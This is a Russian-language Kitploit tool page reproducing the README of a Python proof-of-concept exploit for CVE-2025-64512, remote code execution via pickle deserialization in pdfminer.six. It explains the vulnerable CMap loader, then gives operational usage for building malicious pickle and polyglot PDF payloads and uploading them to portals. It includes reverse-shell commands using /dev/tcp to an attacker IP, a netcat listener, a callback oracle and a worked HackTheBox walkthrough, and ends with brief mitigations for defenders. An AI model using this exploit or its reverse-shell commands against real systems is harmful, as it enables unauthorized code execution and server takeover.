Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-64512_PoC — Python PoC для CVE-2025-64512, RCE через десериализацию pickle в pdfminer.six. Генерирует gzip-сжатые pickle-пейлоады и полиглотные PDF-файлы, затем доставляет их на порталы загрузки для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиCTFТестирование на ПроникновениеОбучение и Образование
GitHub
jinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

Python PoC для CVE-2025-64512, RCE через десериализацию pickle в pdfminer.six. Генерирует gzip-сжатые pickle-пейлоады и полиглотные PDF-файлы, затем доставляет их на порталы загрузки для авторизованного тестирования.

Репозиторий
16 ч 19 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-64512 — RCE-эксплойт для pdfminer.six

Python 3, только стандартная библиотека (без pip install). Только для авторизованного тестирования на проникновение и CTF — вы несёте ответственность за соблюдение закона и правил взаимодействия в рамках вашего задания.

CVECVE-2025-64512
Затронутоpdfminer.six < 20251107 (исправлено в 20251107 — CMaps стали JSON)
Пострадавшие downstreammarkitdown < 0.1.4, pdfplumber < 0.11.8
ТипCWE-502 десериализация недоверенных данных → неаутентифицированный RCE
Эталонный PoCluigigubello/CVE-2025-64512-Polyglot-PoC (однофайловый polyglot-вариант)

Протестированная цель: https://app.hackthebox.com/machines/Bedside


1. Уязвимость простыми словами

pdfminer.six — популярная Python-библиотека для извлечения текста из PDF. Шрифтам PDF нужны CMaps — таблицы, переводящие коды символов в Unicode — и pdfminer поставляет их в виде gzip-сжатых pickle-файлов (<name>.pickle.gz) внутри собственного пакета. Посмотрите, как загружается CMap (pdfminer/cmapdb.py, все версии до 20251107):

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # ЕДИНСТВЕННАЯ санитизация
    filename = "%s.pickle.gz" % name               # ← атакующий контролирует `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← абсолютное имя игнорирует директорию!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

Складываются три изъяна:

  1. name берётся из самого PDF. Запись /Encoding шрифта Type0 (CID) — это PDF-имя, и атакующий полностью его контролирует. PDF-имена не могут содержать необработанный /, поэтому он записывается с помощью стандартных hex-escape из RFC: имя /#2f#76#61#72#2f… декодируется в /var/….
  2. Особенность os.path.join. Когда второй аргумент абсолютный, первый полностью игнорируется. Так что имя /var/www/site/uploads/shell заставляет pdfminer обратиться к /var/www/site/uploads/shell.pickle.gz — любому пути на диске — вместо собственной директории CMaps.
  3. pickle.loads() над содержимым файла. Pickle может нести инструкции «пересобери меня, вызвав эту функцию» (__reduce__). Десериализация байтов атакующего = выполнение кода атакующего внутри того процесса, который вызвал pdfminer.

Предпосылки для эксплуатации — баг тривиально эксплуатируется в любом приложении, которое даёт вам обе половины уравнения:

  • способ разместить файл по известному абсолютному пути (портал загрузки; путь часто утекает в сообщениях об ошибках),
  • способ заставить сервер разобрать контролируемый вами PDF (при загрузке, на эндпоинте конвертации, через фоновый watcher/cron, …).

2. Что делает скрипт

  1. Собирает gzip-сжатый pickle: {"__reduce__": eval("__import__('os').system('<ваша команда>')")}.
  2. Собирает минимальный, но структурно валидный PDF, единственное содержимое которого — страница, использующая шрифт Type0, чей /Encoding называет абсолютный путь к вашему pickle.
  3. Доставляет его:
    • --mode two (по умолчанию) — загружает <name>.pickle.gz, затем <name>.pdf. Используйте это, когда цель разбирает только файлы с расширением PDF (например, watcher, собирающий uploads/*.pdf).
    • --mode polyglot — загружает один файл <name>.pickle.gz, который является одновременно валидным gzip-pickle и валидным PDF: весь PDF прячется в поле FCOMMENT заголовка gzip (RFC 1952 допускает комментарии; сигнатура %PDF- находится на байте 10, а смещения xref предварительно сдвинуты, чтобы таблица оставалась валидной). Используйте это, когда цель разбирает любой загруженный файл как PDF независимо от расширения (конвертеры в стиле markitdown).
  4. Опционально проверяет, что файлы легли на место (--verify), пережидает цикл обработки цели (--wait) и может добавить в начало callback-оракул (--callback), который «звонит домой» до запуска вашей команды — так вы докажете выполнение, даже если основной канал откажет.

3. Установка

Устанавливать нечего — Python 3.10+ (использует синтаксис str | None):

root@kitploit:~
chmod +x cve_2025_64512.py

4. Использование

4.1 Сначала отрепетируйте локально

Сгенерируйте образцы полезной нагрузки и (если уязвимый pdfminer импортируем) выполните их в своём Python, чтобы доказать работоспособность цепочки до касания цели:

root@kitploit:~
# укажите selftest на уязвимый checkout/wheel pdfminer (любой < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

Ожидаемый вывод заканчивается на SELFTEST PASS как для двухфайлового триггера, так и для polyglot. Можно также проверить вручную:

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # разместить как /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # только уязвимый pdfminer
cat /tmp/pwned                                  # → ваш uid

4.2 Универсальный портал загрузки (в стиле Bedside)

root@kitploit:~
# 1. запустите слушатель для канала обратного вызова вашей команды
nc -lvnp 4444

# 2. запустите эксплойт — пусть он сам обнаружит директорию загрузки
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

Полный справочник аргументов:

АргументНазначение
--commandShell-команда для выполнения на цели (обязательно). Запускается под sh -c, так что пайпы/редиректы/подоболочки работают.
--urlЭндпоинт загрузки, принимающий multipart POST.
--upload-urlПереопределить цель POST, если загрузки идут на другой URL, чем --url.
--fieldИмя multipart-поля (прочитайте HTML <form> портала; частые: uploadFile, file).
--pathАбсолютная серверная директория, куда попадают загрузки (например, /var/www/site/uploads). PDF называет pickle здесь, поэтому путь должен быть точным.
--leak-pathНе знаете путь? Загрузите некорректное содержимое и выскребите его из сообщения об ошибке портала (многие порталы печатают место назначения).
--nameБазовое имя для генерируемых файлов (по умолчанию shell). Рандомизируйте при повторных запусках, чтобы избежать устаревших файлов.
--modetwo (по умолчанию) или polyglot — см. §2.
--callback URLДобавить в начало HTTP-запрос к URL перед вашей командой; запустите python3 -m http.server 8000 и ждите попадания. Оракул выполнения.
--wait NПауза N секунд после загрузки — подстройтесь под ритм обработки цели (watcher/cron часто опрашивают каждые 30 с; выждите полный цикл, прежде чем считать, что не удалось).
--verify /uploadsGET каждого загруженного файла после этого, чтобы подтвердить, что он лёг туда, где его ожидает PDF.
--timeout, --out-dir, --no-upload, --selftestHTTP-таймаут, локальная выходная директория, режим только генерации, локальная репетиция.

4.3 Разобранный пример — HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # слушатель

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → шелл от имени пользователя сервиса pdfminer (на Bedside: datawrangler, внутри контейнера)

5. Устранение неполадок

СимптомПричина / решение
MIME type mismatch при загрузкеПортал нюхает содержимое, а не только расширение. Обе полезные нагрузки — настоящий gzip / настоящий PDF — проверьте, что вы их не обрезали; триггер должен начинаться с %PDF-, pickle должен распаковываться (gzip -t).
Загрузка OK, ничего не выполняется1) Выждите полный цикл watcher/cron (--wait 35). 2) Убедитесь, что pickle доступен по <path>/<name>.pickle.gz (--verify). 3) Проверьте, что процесс, запускающий pdfminer, может прочитать ваш файл. 4) Используйте --callback для однозначного сигнала выполнения.
Путь загрузки неизвестен--leak-path, либо вызовите любую ошибку валидации и прочитайте сообщение.
Polyglot никогда не срабатываетРазбираемый файл должен быть тем же файлом с окончанием .pickle.gz. Если цель разбирает только загрузки *.pdf, используйте --mode two.
TypeError: type.__new__() argument 3 must be dict в логах целиЭто успех — pdfminer выполнил ваш pickle и затем споткнулся о собственное возвращаемое значение. Безвредно.
Цель пропатченаpdfminer ≥ 20251107 загружает CMaps из JSON. Здесь эксплуатировать нечего.

6. Рекомендации по устранению (для защитников)

  • Обновите pdfminer.six ≥ 20251107; пропатчите markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8.
  • Никогда не размещайте доступные для записи атакующим файлы там, где парсер разрешает пути из внутренних метаданных файла; отдавайте загрузки из хранилища, которое парсер может только читать.
  • Относитесь к любому десериализатору как к выполнению кода: pickle.loads, torch.load, yaml.load над недоверенными байтами — всё это один и тот же класс багов. Предпочитайте форматы только с данными (JSON, Safetensors, ONNX).
  • Отключите заголовки в стиле X-Powered-By и возвращайте обобщённые ошибки — и то, и другое выдало список ингредиентов на Bedside.
Скачать инструмент